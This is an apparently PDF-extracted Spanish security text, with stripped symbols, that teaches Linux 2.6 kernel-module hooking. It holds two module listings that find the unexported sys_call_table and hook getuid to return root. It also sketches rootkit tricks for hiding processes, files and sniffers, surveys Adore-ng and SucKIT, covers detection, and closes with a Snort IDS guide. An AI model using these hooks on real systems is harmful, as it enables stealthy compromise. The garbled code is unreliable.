Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

